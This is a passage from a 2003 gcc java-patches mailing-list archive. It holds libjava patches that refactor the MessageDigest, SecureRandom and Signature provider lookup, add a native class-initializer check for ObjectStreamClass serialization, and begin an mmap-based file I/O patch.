NoSuchAlgorithmException If the provider does not implement + * the algorithm, or if the implementation cannot be + * instantiated. + * @throws IllegalArgumentException If provider is null. + * @since 1.4 + */ + public static MessageDigest getInstance(String algorithm, Provider provider) throws NoSuchAlgorithmException { - if (classname == null) - throw new NoSuchAlgorithmException(algorithm); - + if (provider == null) + throw new IllegalArgumentException("Illegal provider"); MessageDigest result = null; - try - { - Object obj = Class.forName(classname).newInstance(); - if (obj instanceof MessageDigest) { - result = (MessageDigest) obj; - result.algorithm = algorithm; - } else if (obj instanceof MessageDigestSpi) { - result = new DummyMessageDigest((MessageDigestSpi) obj, algorithm); - } else { - throw new ClassCastException("Class "+classname+" from Provider " - +provider.getName() - +" does not extend java.security.MessageDigestSpi"); - } - result.provider = provider; - return result; - } - catch (ClassNotFoundException cnfe) - { - throw new NoSuchAlgorithmException(algorithm + ": Class not found."); - } - catch (InstantiationException ie) - { - throw new NoSuchAlgorithmException(algorithm - + ": Class instantiation failed."); - } - catch (IllegalAccessException iae) - { - throw new NoSuchAlgorithmException(algorithm + ": Illegal Access"); - } + Object o = Engine.getInstance(MESSAGE_DIGEST, algorithm, provider); + if (o instanceof MessageDigestSpi) { + result = new DummyMessageDigest((MessageDigestSpi) o, algorithm); + } else if (o instanceof MessageDigest) { + result = (MessageDigest) o; + result.algorithm = algorithm; + } else { + throw new NoSuchAlgorithmException(algorithm); + } + result.provider = provider; + return result; } + // Instance methods. + // ------------------------------------------------------------------------ /** - Gets the provider that the MessageDigest is from. - - @return the provider the this MessageDigest + * Gets the provider that the MessageDigest is from. + * + * @return The provider of this message digest implementation. */ public final Provider getProvider() { @@ -187,9 +190,9 @@ } /** - Updates the digest with the byte. - - @param input byte to update the digest with + * Updates the digest with a single byte. + * + * @param input The byte to update the digest with. */ public void update(byte input) { @@ -197,32 +200,32 @@ } /** - Updates the digest with the bytes from the array from the - specified offset to the specified length. - - @param input bytes to update the digest with - @param offset the offset to start at - @param len length of the data to update with + * Updates the digest with a portion of a byte array. + * + * @param input The bytes to update the digest with. + * @param offset The offset to start at in the array. + * @param len The number of bytes to update. */ - public void update(byte[]input, int offset, int len) + public void update(byte[] input, int offset, int len) { engineUpdate(input, offset, len); } /** - Updates the digest with the bytes from the array. - - @param input bytes to update the digest with + * Updates the digest with an entire byte array. + * + * @param input The bytes to update the digest with. + * @see #update(byte[],int,int) */ - public void update(byte[]input) + public void update(byte[] input) { engineUpdate(input, 0, input.length); } /** - Computes the digest of the stored data. - - @return a byte array representing the message digest + * Computes the final digest of the stored data, and resets this instance. + * + * @return a byte array representing the message digest */ public byte[] digest() { @@ -230,13 +233,13 @@ } /** - Computes the final digest of the stored bytes and returns - them. - - @param buf An array of bytes to store the digest - @param offset An offset to start storing the digest at - @param len The length of the buffer - @return Returns the length of the buffer + * Computes the final digest of the stored bytes and stores it into + * the given byte array, returning the number of bytes stored. + * + * @param buf An array of bytes to store the digest. + * @param offset The offset to start storing the digest at. + * @param len The maximum number of bytes to store in the array. + * @return The number of bytes stored into buf */ public int digest(byte[]buf, int offset, int len) throws DigestException { Index: libjava/java/security/SecureRandom.java =================================================================== RCS file: /cvsroot/gcc/gcc/libjava/java/security/SecureRandom.java,v retrieving revision 1.7 diff -u -r1.7 SecureRandom.java --- libjava/java/security/SecureRandom.java 13 Dec 2002 14:21:07 -0000 1.7 +++ libjava/java/security/SecureRandom.java 17 Jan 2003 15:56:29 -0000 @@ -1,5 +1,5 @@ /* SecureRandom.java --- Secure Random class implmentation - Copyright (C) 1999, 2001, 2002 Free Software Foundation, Inc. + Copyright (C) 1999, 2001, 2002, 2003 Free Software Foundation, Inc. This file is part of GNU Classpath. @@ -36,19 +36,30 @@ exception statement from your version. */ package java.security; + import java.io.Serializable; import java.util.Random; import java.util.Enumeration; /** - SecureRandom is the class interface for using SecureRandom - providers. It provides an interface to the SecureRandomSpi - engine so that programmers can generate pseudo-random numbers. - - @author Mark Benvenuto + * An interface to a cryptographically secure pseudo-random number + * generator (PRNG). Random (or at least unguessable) numbers are used + * in all areas of security and cryptography, from the generation of + * keys and initialization vectors to the generation of random padding + * bytes. + * + * @author Mark Benvenuto + * @author Casey Marshall */ public class SecureRandom extends Random { + + // Constants and fields. + // ------------------------------------------------------------------------ + + /** Service name for PRNGs. */ + private static final String SECURE_RANDOM = "SecureRandom"; + static final long serialVersionUID = 4940670005562187L; //Serialized Field @@ -59,6 +70,9 @@ SecureRandomSpi secureRandomSpi = null; byte[] state = null; + // Constructors. + // ------------------------------------------------------------------------ + /** Default constructor for SecureRandom. It constructs a new SecureRandom by instantating the first SecureRandom @@ -68,7 +82,7 @@ on the first call to getnextBytes it will force a seed. It is maintained for backwards compatibility and programs - should use getInstance. + should use {@link #getInstance(java.lang.String)}. */ public SecureRandom() { @@ -86,21 +100,17 @@ while (e.hasMoreElements()) { key = (String) e.nextElement(); - if (key.startsWith("SECURERANDOM.")) - { - if ((classname = p[i].getProperty(key)) != null) - { - try - { - secureRandomSpi = (SecureRandomSpi) Class. - forName(classname).newInstance(); - provider = p[i]; - return; - } - catch (Throwable ignore) { } - } - } - } + if (key.startsWith("SECURERANDOM.")) { + if ((classname = p[i].getProperty(key)) != null) { + try { + secureRandomSpi = (SecureRandomSpi) Class. + forName(classname).newInstance(); + provider = p[i]; + return; + } catch (Throwable ignore) { } + } + } + } } // Nothing found. Fall back to SHA1PRNG @@ -140,15 +150,17 @@ this.provider = provider; } - /** - Returns an instance of a SecureRandom. It creates the class - for the specified algorithm if it exists from a provider. - - @param algorithm A SecureRandom algorithm to use + // Class methods. + // ------------------------------------------------------------------------ - @return Returns a new SecureRandom implmenting the chosen algorithm - - @throws NoSuchAlgorithmException if the algorithm cannot be found + /** + * Returns an instance of a SecureRandom. It creates the class from + * the first provider that implements it. + * + * @param algorithm The algorithm name. + * @return A new SecureRandom implmenting the given algorithm. + * @throws NoSuchAlgorithmException If no installed provider implements + * the given algorithm. */ public static SecureRandom getInstance(String algorithm) throws NoSuchAlgorithmException @@ -156,11 +168,9 @@ Provider p[] = Security.getProviders(); for (int i = 0; i < p.length; i++) { - try - { - return getInstance(algorithm, p[i]); - } - catch (NoSuchAlgorithmException ignored) { } + try { + return getInstance(algorithm, p[i]); + } catch (NoSuchAlgorithmException ignored) { } } // None found. @@ -168,21 +178,26 @@ } /** - Returns an instance of a SecureRandom. It creates the class - for the specified algorithm from the specified provider. - - @param algorithm A SecureRandom algorithm to use - @param provider A security provider to use - - @return Returns a new SecureRandom implmenting the chosen algorithm - - @throws NoSuchAlgorithmException if the algorithm cannot be found - @throws NoSuchProviderException if the provider cannot be found + * Returns an instance of a SecureRandom. It creates the class + * for the specified algorithm from the named provider. + * + * @param algorithm The algorithm name. + * @param provider The provider name. + * @return A new SecureRandom implmenting the chosen algorithm. + * @throws NoSuchAlgorithmException If the named provider does not implement + * the algorithm, or if the implementation cannot be + * instantiated. + * @throws NoSuchProviderException If no provider named + * provider is currently installed. + * @throws IllegalArgumentException If provider is null + * or is empty. */ - public static SecureRandom getInstance(String algorithm, - String provider) throws - NoSuchAlgorithmException, NoSuchProviderException + public static SecureRandom getInstance(String algorithm, String provider) + throws NoSuchAlgorithmException, NoSuchProviderException { + if (provider == null || provider.length() == 0) + throw new IllegalArgumentException("Illegal provider"); + Provider p = Security.getProvider(provider); if (p == null) throw new NoSuchProviderException(); @@ -191,87 +206,31 @@ } /** - Returns an instance of a SecureRandom. It creates the class for - the specified algorithm from the given provider. - - @param algorithm The SecureRandom algorithm to create. - @param provider The provider to get the instance from. - - @throws NoSuchAlgorithmException If the algorithm cannot be found, or - if the class cannot be instantiated. - */ - public static SecureRandom getInstance(String algorithm, - Provider provider) throws - NoSuchAlgorithmException - { - return getInstance(algorithm, provider, true); + * Returns an instance of a SecureRandom. It creates the class for + * the specified algorithm from the given provider. + * + * @param algorithm The SecureRandom algorithm to create. + * @param provider The provider to get the instance from. + * @throws NoSuchAlgorithmException If the algorithm cannot be found, or + * if the class cannot be instantiated. + * @throws IllegalArgumentException If provider is null. + */ + public static SecureRandom getInstance(String algorithm, Provider provider) + throws NoSuchAlgorithmException + { + if (provider == null) + throw new IllegalArgumentException("Illegal provider"); + try { + return new SecureRandom((SecureRandomSpi) + Engine.getInstance(SECURE_RANDOM, algorithm, provider), + provider); + } catch (ClassCastException cce) { + throw new NoSuchAlgorithmException(algorithm); + } } - /** - Creates the instance of SecureRandom, recursing to resolve aliases. - - @param algorithm The SecureRandom algorithm to create. - @param provider The provider to get the implementation from. - @param recurse Whether or not to recurse to resolve aliases. - - @throws NoSuchAlgorithmException If the algorithm cannot be found, - if there are too many aliases, or if the class cannot be - instantiated. - */ - private static SecureRandom getInstance(String algorithm, - Provider provider, - boolean recurse) - throws NoSuchAlgorithmException - { - String msg = algorithm; - for (Enumeration e = provider.propertyNames(); e.hasMoreElements(); ) - { - // We could replace the boolean with an integer, incrementing it - // every - String key = (String) e.nextElement(); - if (key.startsWith("SECURERANDOM.") - && key.substring(13).equalsIgnoreCase(algorithm)) - { - try - { - Class c = Class.forName(provider.getProperty(key)); - return new SecureRandom((SecureRandomSpi) c.newInstance(), - provider); - } - catch (Throwable ignored) { } - } - else if (key.startsWith("ALG.ALIAS.SECURERANDOM.") - && key.substring(23).equalsIgnoreCase(algorithm) && recurse) - { - try - { - // First see if this alias refers to a class in this - // provider. - return getInstance(provider.getProperty(key), provider, false); - } - catch (NoSuchAlgorithmException nsae) - { - Provider[] provs = Security.getProviders(); - for (int i = 0; i < provs.length; i++) - { - if (provs[i] == provider) - continue; - // Now try other providers for the implementation - try - { - return getInstance(provider.getProperty(key), - provs[i], false); - } - catch (NoSuchAlgorithmException nsae2) - { - msg = nsae2.getMessage(); - } - } - } - } - } - throw new NoSuchAlgorithmException(algorithm); - } + // Instance methods. + // ------------------------------------------------------------------------ /** Returns the provider being used by the current SecureRandom class. @@ -317,8 +276,8 @@ (byte) (0xff & (seed >> 16)), (byte) (0xff & (seed >> 8)), (byte) (0xff & seed) - }; - secureRandomSpi.engineSetSeed(tmp); + }; + secureRandomSpi.engineSetSeed(tmp); } } @@ -358,9 +317,13 @@ int ret = 0; for (int i = 0; i < tmp.length; i++) - ret |= tmp[i] << (8 * i); + ret |= tmp[i] & 0xFF << (8 * i); + + int mask = 0; + for (int i = 0; i < numBits; i++) + mask |= 1 << i; - return ret; + return ret & mask; } /** Index: libjava/java/security/Signature.java =================================================================== RCS file: /cvsroot/gcc/gcc/libjava/java/security/Signature.java,v retrieving revision 1.4 diff -u -r1.4 Signature.java --- libjava/java/security/Signature.java 17 Nov 2002 00:10:24 -0000 1.4 +++ libjava/java/security/Signature.java 17 Jan 2003 15:56:29 -0000 @@ -1,5 +1,5 @@ /* Signature.java --- Signature Class - Copyright (C) 1999, 2002 Free Software Foundation, Inc. + Copyright (C) 1999, 2002, 2003 Free Software Foundation, Inc. This file is part of GNU Classpath. @@ -36,43 +36,61 @@ exception statement from your version. */ package java.security; + import java.security.spec.AlgorithmParameterSpec; /** - Signature is used to provide an interface to digital signature - algorithms. Digital signatures provide authentication and data - integrity of digital data. - - The GNU provider provides the NIST standard DSA which uses DSA +

Signature is an interface to digital signature algorithms. Digital + signatures provide authentication and data integrity of digital data. + +

The GNU provider provides the NIST standard DSA which uses DSA and SHA-1. It can be specified by SHA/DSA, SHA-1/DSA or its OID. If the RSA signature algorithm is provided then it could be MD2/RSA. MD5/RSA, or SHA-1/RSA. The algorithm must - be specified because there is no default. + be specified because there is no default.

- Signature provides implementation-independent algorithms which +

Signature provides implementation-independent algorithms which are requested by the user through getInstance. It can be requested by specifying just the algorithm name or by - specifying both the algorithm name and provider name. - - The three phases of using Signature are: - - 1. Initialing - - * It must be initialized with a private key for signing. - * It must be initialized with a public key for verifying. - - 2. Updating - - Update the bytes for signing or verifying with calls to update. - - 3. Signing or Verify the signature on the currently stored - bytes by calling sign or verify. + specifying both the algorithm name and provider name. + +

The three phases of using Signature are:

+ +
    +
  1. Initialising. The instance is initialized with either one of: + +
      +
    • {@link #initSign(java.security.PrivateKey,java.security.SecureRandom)} + with a private key for signing.
    • +
    • {@link #initVerify(java.security.PublicKey)} with a public key or a + certificate for verifying.
    • +
  2. + +
  3. Updating. + +

    Zero or more bytes may be added to the data being signed or verified, + depending on how this instance was initialized.

  4. + +
  5. Signing or Verifying. + +

    The signature is then either produced over the data input with any of + the {@link #sign()} methods, or a signatre is tested for validity with + {@link #verify(byte[])}.

  6. +
@author Mark Benvenuto + @author Casey Marshall @since JDK 1.1 */ public abstract class Signature extends SignatureSpi { + + // Constants and fields. + // ------------------------------------------------------------------------ + + /** Service name for signatures. */ + private static final String SIGNATURE = "Signature"; + /** Possible state variable which signifies if it has not been initialized. @@ -99,6 +117,9 @@ private String algorithm; Provider provider; + // Constructor. + // ------------------------------------------------------------------------ + /** Creates a new signature for this algorithm. @@ -110,52 +131,56 @@ state = UNINITIALIZED; } - /** - Gets an instance of the Signature class representing - the specified signature. If the algorithm is not found then, - it throws NoSuchAlgorithmException. - - @param algorithm the name of signature algorithm to choose - @return a Signature repesenting the desired algorithm + // Class methods. + // ------------------------------------------------------------------------ - @throws NoSuchAlgorithmException if the algorithm is not implemented by - providers + /** + * Gets an instance of the Signature class representing + * the specified signature. If the algorithm is not found then, + * it throws NoSuchAlgorithmException. + * + * @param algorithm the name of signature algorithm to choose + * @return a Signature repesenting the desired algorithm + * @throws NoSuchAlgorithmException if the algorithm is not implemented by + * any currently installed provider. */ public static Signature getInstance(String algorithm) throws NoSuchAlgorithmException { Provider[] p = Security.getProviders(); - for (int i = 0; i < p.length; i++) - { - try - { - return getInstance(algorithm, p[i]); - } - catch (NoSuchAlgorithmException ignored) {} - } + for (int i = 0; i < p.length; i++) { + try { + return getInstance(algorithm, p[i]); + } catch (NoSuchAlgorithmException ignored) { } + } throw new NoSuchAlgorithmException(algorithm); } /** - Gets an instance of the Signature class representing - the specified signature from the specified provider. If the - algorithm is not found then, it throws NoSuchAlgorithmException. - If the provider is not found, then it throws - NoSuchProviderException. - - @param algorithm the name of signature algorithm to choose - @param provider the name of the provider to find the algorithm in - @return a Signature repesenting the desired algorithm - - @throws NoSuchAlgorithmException if the algorithm is not implemented by - the provider - @throws NoSuchProviderException if the provider is not found + * Gets an instance of the Signature class representing + * the specified signature from the specified provider. If the + * algorithm is not found then, it throws NoSuchAlgorithmException. + * If the provider is not found, then it throws + * NoSuchProviderException. + * + * @param algorithm the name of signature algorithm to choose + * @param provider the name of the provider to find the algorithm in + * @return a Signature repesenting the desired algorithm + * + * @throws NoSuchAlgorithmException If the algorithm is not implemented by + * the provider or if the implementation cannot be instatiated. + * @throws NoSuchProviderException If there is no provider named + * provider currently installed. + * @throws IllegalArgumentException If provider is null or is + * empty. */ public static Signature getInstance(String algorithm, String provider) throws NoSuchAlgorithmException, NoSuchProviderException { + if (provider == null || provider.length() == 0) + throw new IllegalArgumentException("Illegal provider"); Provider p = Security.getProvider(provider); if (p == null) throw new NoSuchProviderException(provider); @@ -163,64 +188,40 @@ return getInstance(algorithm, p); } - private static Signature getInstance(String algorithm, Provider p) + /** + * Gets an instance of the given signature algorithm from the + * specified provider. + * + * @param algorithm The name of the signature algorithm to create. + * @param provider The provider to get the implementation from. + * @return An appropriate instance of Signature. + * @throws NoSuchAlgorithmException If the algorithm is not + * implemented by the provider, or if the implementation + * cannot be instantiated. + * @throws IllegalArgumentException If provider is null. + * @since 1.4 + */ + public static Signature getInstance(String algorithm, Provider provider) throws NoSuchAlgorithmException { - // try the name as is - String className = p.getProperty("Signature." + algorithm); - if (className == null) { // try all uppercase - String upper = algorithm.toUpperCase(); - className = p.getProperty("Signature." + upper); - if (className == null) { // try if it's an alias - String alias = p.getProperty("Alg.Alias.Signature." + algorithm); - if (alias == null) { - alias = p.getProperty("Alg.Alias.Signature." + upper); - if (alias == null) { // spit the dummy - throw new NoSuchAlgorithmException(algorithm); - } - } - className = p.getProperty("Signature." + alias); - if (className == null) { - throw new NoSuchAlgorithmException(algorithm); - } - } + if (provider == null) + throw new IllegalArgumentException("Illegal provider"); + Signature result = null; + Object o = Engine.getInstance(SIGNATURE, algorithm, provider); + if (o instanceof SignatureSpi) { + result = new DummySignature((SignatureSpi) o, algorithm); + } else if (o instanceof Signature) { + result = (Signature) o; + result.algorithm = algorithm; + } else { + throw new NoSuchAlgorithmException(algorithm); } - return getInstance(className, algorithm, p); + result.provider = provider; + return result; } - private static Signature getInstance(String classname, - String algorithm, - Provider provider) - throws NoSuchAlgorithmException - { - try - { - Object o = Class.forName(classname).newInstance(); - Signature sig; - if (o instanceof SignatureSpi) - sig = new DummySignature((SignatureSpi) o, algorithm); - else - { - sig = (Signature) o; - sig.algorithm = algorithm; - } - - sig.provider = provider; - return sig; - } - catch (ClassNotFoundException cnfe) - { - throw new NoSuchAlgorithmException("Class not found"); - } - catch (InstantiationException ie) - { - throw new NoSuchAlgorithmException("Class instantiation failed"); - } - catch (IllegalAccessException iae) - { - throw new NoSuchAlgorithmException("Illegal Access"); - } - } + // Instance methods. + // ------------------------------------------------------------------------ /** Gets the provider that the Signature is from. @@ -262,13 +263,13 @@ state = VERIFY; if (certificate.getType().equals("X509")) { - java.security.cert.X509Certificate cert = - (java.security.cert.X509Certificate) certificate; + java.security.cert.X509Certificate cert = + (java.security.cert.X509Certificate) certificate; - boolean[]array = cert.getKeyUsage(); - if (array != null && array[0] == false) - throw new InvalidKeyException - ("KeyUsage of this Certificate indicates it cannot be used for digital signing"); + boolean[] array = cert.getKeyUsage(); + if (array != null && array[0] == false) + throw new InvalidKeyException + ("KeyUsage of this Certificate indicates it cannot be used for digital signing"); } this.initVerify(certificate.getPublicKey()); } @@ -319,8 +320,8 @@ { if (state == SIGN) { - state = UNINITIALIZED; - return engineSign(); + state = UNINITIALIZED; + return engineSign(); } else throw new SignatureException(); @@ -355,8 +356,8 @@ { if (state == SIGN) { - state = UNINITIALIZED; - return engineSign(outbuf, offset, len); + state = UNINITIALIZED; + return engineSign(outbuf, offset, len); } else throw new SignatureException(); @@ -376,8 +377,8 @@ { if (state == VERIFY) { - state = UNINITIALIZED; - return engineVerify(signature); + state = UNINITIALIZED; + return engineVerify(signature); } else throw new SignatureException(); --------------060501070804060006020007-- --------------enig1FDC9762C7DA1AFEDC238603 Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQE+KCu2gAuWMgRGsWsRA0A4AJ0fgrUJJVrEt8TZssFUTy6R923/GQCghimC +U5WQQxY+GCUQY80cnmA6X8= =Oiux -----END PGP SIGNATURE----- --------------enig1FDC9762C7DA1AFEDC238603-- From java-patches-return-5835-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Jan 17 17:12:37 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 4050 invoked by alias); 17 Jan 2003 17:12:35 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 4039 invoked from network); 17 Jan 2003 17:12:32 -0000 Received: from unknown (HELO nescio.wildebeest.org) (62.108.28.95) by sources.redhat.com with SMTP; 17 Jan 2003 17:12:32 -0000 Received: from elsschot.wildebeest.org ([192.168.1.26] ident=mark) by nescio.wildebeest.org with esmtp (Exim 3.35 #1 (Debian)) id 18Za2e-0001Y4-00 for ; Fri, 17 Jan 2003 18:12:28 +0100 Subject: ObjectStreamClass serialization patch From: Mark Wielaard To: java-patches@gcc.gnu.org Content-Type: multipart/mixed; boundary="=-Gj5BeD1ridNB65qJmpsM" Organization: Message-Id: <1042823550.24521.175.camel@elsschot> Mime-Version: 1.0 Date: 17 Jan 2003 18:12:30 +0100 --=-Gj5BeD1ridNB65qJmpsM Content-Type: text/plain Content-Transfer-Encoding: 7bit Hi, The following fixes the Mauve serialization regressions. We used to call Class.getDeclaredMethod("") to see if an class had a class initializer. But getDeclaredMethod was recently (correctly) fixed to throw a NoSuchMethod error on "" and "" arguments. So now we need a little bit of CNI support. 2003-01-17 Mark Wielaard * Makefile.am (core_java_source_files): Add VMObjectStreamClass.java. (nat_source_files): Add natVMObjectStreamClass.cc. * Makefile.in: Regenerated. * gcj/javaprims.h (namespace java): Regenerated. * java/io/ObjectStreamClass.java (getClassUID): Call VMObjectStreamClass.hasClassInitializer(). (hasClassInitializer): Removed. * java/io/VMObjectStreamClass.java: New class. * java/io/natVMObjectStreamClass.cc: New file. * java/lang/Class.h: Make java::io::VMObjectStreamClass friend class. OK to commit? I am running checks on the branch now. OK to commit to the 3.3 branch if those succeed? Cheers, Mark --=-Gj5BeD1ridNB65qJmpsM Content-Disposition: inline; filename=ObjectStreamClass.patch Content-Type: text/x-patch; name=ObjectStreamClass.patch; charset=ISO-8859-15 Content-Transfer-Encoding: 7bit Index: Makefile.am =================================================================== RCS file: /cvs/gcc/gcc/libjava/Makefile.am,v retrieving revision 1.268 diff -u -r1.268 Makefile.am --- Makefile.am 15 Jan 2003 23:34:13 -0000 1.268 +++ Makefile.am 17 Jan 2003 15:38:58 -0000 @@ -1692,6 +1692,7 @@ java/io/SyncFailedException.java \ java/io/UTFDataFormatException.java \ java/io/UnsupportedEncodingException.java \ +java/io/VMObjectStreamClass.java \ java/io/WriteAbortedException.java \ java/io/Writer.java \ java/util/AbstractCollection.java \ @@ -2333,6 +2334,7 @@ java/io/natFileDescriptor.cc \ java/io/natObjectInputStream.cc \ java/io/natObjectOutputStream.cc \ +java/io/natVMObjectStreamClass.cc \ java/lang/natCharacter.cc \ java/lang/natClass.cc \ java/lang/natClassLoader.cc \ Index: java/io/ObjectStreamClass.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/ObjectStreamClass.java,v retrieving revision 1.10 diff -u -r1.10 ObjectStreamClass.java --- java/io/ObjectStreamClass.java 4 Jan 2003 03:44:07 -0000 1.10 +++ java/io/ObjectStreamClass.java 17 Jan 2003 15:39:10 -0000 @@ -525,7 +525,7 @@ } // write class initializer method if present - if (hasClassInitializer (cl)) + if (VMObjectStreamClass.hasClassInitializer (cl)) { data_out.writeUTF (""); data_out.writeInt (Modifier.STATIC); @@ -611,31 +611,6 @@ } return o; - } - - - // Returns true if CLAZZ has a static class initializer - // (a.k.a. ). - private static boolean hasClassInitializer (Class clazz) - { - Method m = null; - - try - { - /* - * There exists a problem here, according to the spec - * clazz.getDeclaredMethod ("", classArgs); - * will always throw NoSuchMethodException, even if the static - * intializer does exist. - */ - Class classArgs[] = {}; - m = clazz.getDeclaredMethod ("", classArgs); - } - catch (java.lang.NoSuchMethodException e) - { - } - - return m != null; } public static final ObjectStreamField[] NO_FIELDS = {}; Index: java/io/VMObjectStreamClass.java =================================================================== RCS file: java/io/VMObjectStreamClass.java diff -N java/io/VMObjectStreamClass.java --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ java/io/VMObjectStreamClass.java 17 Jan 2003 15:39:10 -0000 @@ -0,0 +1,50 @@ +/* VMObjectStreamClass.java -- VM helper functions for ObjectStreamClass + Copyright (C) 2003 Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + + +package java.io; + +import java.lang.reflect.Method; + +final class VMObjectStreamClass +{ + /** + * Returns true if CLAZZ has a static class initializer + * (a.k.a. ). + */ + static native boolean hasClassInitializer (Class clazz); +} Index: java/io/natVMObjectStreamClass.cc =================================================================== RCS file: java/io/natVMObjectStreamClass.cc diff -N java/io/natVMObjectStreamClass.cc --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ java/io/natVMObjectStreamClass.cc 17 Jan 2003 15:39:10 -0000 @@ -0,0 +1,23 @@ +// natVMObjectStreamClass.cc - Native part of VMObjectStreamClass class. + +/* Copyright (C) 2003 Free Software Foundation + + This VMObjectStreamClass is part of libgcj. + +This software is copyrighted work licensed under the terms of the +Libgcj License. Please consult the ObjectInputStream "LIBGCJ_LICENSE" for +details. */ + +#include +#include + +#include +#include + +jboolean +java::io::VMObjectStreamClass::hasClassInitializer (jclass klass) +{ + _Jv_Method *meth = _Jv_GetMethodLocal(klass, gcj::clinit_name, + gcj::void_signature); + return (meth != NULL); +} Index: java/lang/Class.h =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/lang/Class.h,v retrieving revision 1.54 diff -u -r1.54 Class.h --- java/lang/Class.h 28 Dec 2002 06:38:52 -0000 1.54 +++ java/lang/Class.h 17 Jan 2003 15:39:11 -0000 @@ -1,6 +1,6 @@ // Class.h - Header file for java.lang.Class. -*- c++ -*- -/* Copyright (C) 1998, 1999, 2000, 2001, 2002 Free Software Foundation +/* Copyright (C) 1998, 1999, 2000, 2001, 2002, 2003 Free Software Foundation This file is part of libgcj. @@ -364,6 +364,7 @@ friend class _Jv_BytecodeVerifier; friend class gnu::gcj::runtime::StackTrace; + friend class java::io::VMObjectStreamClass; // Chain for class pool. jclass next; --=-Gj5BeD1ridNB65qJmpsM-- From java-patches-return-5836-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Jan 18 14:23:36 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 1452 invoked by alias); 18 Jan 2003 14:23:36 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 1445 invoked from network); 18 Jan 2003 14:23:35 -0000 Received: from unknown (HELO nescio.wildebeest.org) (62.108.28.95) by sources.redhat.com with SMTP; 18 Jan 2003 14:23:35 -0000 Received: from elsschot.wildebeest.org ([192.168.1.26] ident=mark) by nescio.wildebeest.org with esmtp (Exim 3.35 #1 (Debian)) id 18ZtsN-0003aB-00; Sat, 18 Jan 2003 15:23:11 +0100 Subject: Re: java.io fix and speedup From: Mark Wielaard To: Jeff Sturm Cc: tromey@redhat.com, java-patches@gcc.gnu.org In-Reply-To: References: Content-Type: multipart/mixed; boundary="=-BwM64CCZm+J2ZBNKdaou" Organization: Message-Id: <1042899794.24533.317.camel@elsschot> Mime-Version: 1.0 Date: 18 Jan 2003 15:23:14 +0100 --=-BwM64CCZm+J2ZBNKdaou Content-Type: text/plain Content-Transfer-Encoding: 7bit Hi, On Sat, 2003-01-04 at 06:43, Jeff Sturm wrote: > On 4 Jan 2003, Mark Wielaard wrote: > > If the mmap patch from Jeff is useable in > > general then that would give us much bigger improvements. > > Below is the patch I used (against 3.2 branch). It only attempts to > mmap() for read access. I don't know whether this is a good idea, versus > waiting for a possible java.nio implementation. > > (I got the idea from Per Bothner, in a message I can't find now.) Nice idea, thanks. Attached is the patch against current CVS for people that are interested in playing with it. In my tests there was a small speedup but nothing spectacular. The system time dropped, but user time was up a bit. I think the recent addition of the position field made most of the difference for me. But maybe for some other workloads this does make a big difference. If someone has I/O intensive benchmarks this might be an interesting patch to try out. Cheers, Mark --=-BwM64CCZm+J2ZBNKdaou Content-Disposition: inline; filename=mmap.patch Content-Type: text/x-patch; name=mmap.patch; charset=ISO-8859-15 Content-Transfer-Encoding: 7bit Index: configure =================================================================== RCS file: /cvs/gcc/gcc/libjava/configure,v retrieving revision 1.161 diff -u -r1.161 configure --- configure 14 Jan 2003 13:51:13 -0000 1.161 +++ configure 18 Jan 2003 14:15:31 -0000 @@ -3572,7 +3572,7 @@ fi done - for ac_func in access stat mkdir rename rmdir unlink realpath utime chmod + for ac_func in access stat mkdir rename rmdir unlink realpath utime chmod mmap do echo $ac_n "checking for $ac_func""... $ac_c" 1>&6 echo "configure:3579: checking for $ac_func" >&5 Index: configure.in =================================================================== RCS file: /cvs/gcc/gcc/libjava/configure.in,v retrieving revision 1.144 diff -u -r1.144 configure.in --- configure.in 14 Jan 2003 13:51:13 -0000 1.144 +++ configure.in 18 Jan 2003 14:15:32 -0000 @@ -504,7 +504,7 @@ else AC_CHECK_FUNCS(strerror ioctl select fstat open fsync sleep opendir) AC_CHECK_FUNCS(gmtime_r localtime_r readdir_r getpwuid_r getcwd) - AC_CHECK_FUNCS(access stat mkdir rename rmdir unlink realpath utime chmod) + AC_CHECK_FUNCS(access stat mkdir rename rmdir unlink realpath utime chmod mmap) AC_CHECK_FUNCS(nl_langinfo setlocale) AC_CHECK_FUNCS(inet_aton inet_addr, break) AC_CHECK_FUNCS(inet_pton uname inet_ntoa) Index: include/config.h.in =================================================================== RCS file: /cvs/gcc/gcc/libjava/include/config.h.in,v retrieving revision 1.45 diff -u -r1.45 config.h.in --- include/config.h.in 21 Oct 2002 01:50:13 -0000 1.45 +++ include/config.h.in 18 Jan 2003 